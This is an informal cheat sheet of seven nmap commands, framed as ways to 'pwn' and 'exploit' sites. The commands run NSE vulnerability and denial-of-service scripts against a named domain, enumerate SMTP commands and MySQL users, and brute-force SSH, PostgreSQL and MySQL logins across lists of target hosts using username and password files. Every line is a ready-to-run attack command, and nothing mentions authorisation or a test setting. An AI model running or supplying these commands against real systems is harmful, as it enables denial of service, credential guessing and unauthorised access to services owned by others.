Nmap my way (rough and effective guide)

  1. Scan the vulnerabilities here → nmap -v --

    script vuln www.hiddendomainname.info

  2. dos : nmap -v --script dos www.hiddendomainname.info

  3. smtp access : nmap smtp.damnvulnsite.com -pT:587,465,25 -sV --script=smtp-commands

  4. Exploit sites having port 22 open : nmap -p 22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst --script-args ssh-brute.timeout=4s -iL ssh.txt

  5. pwn postgres : nmap -sV -iL sql.txt --script=pgsql-brute -p 5432 -T0 -oG output.txt

  6. sql username enumeration: nmap -iL sql.txt --script=mysql-enum -p 3306 -oG out.txt

  7. pwning mysql-brute : nmap --script=mysql-brute vulnsite1337.com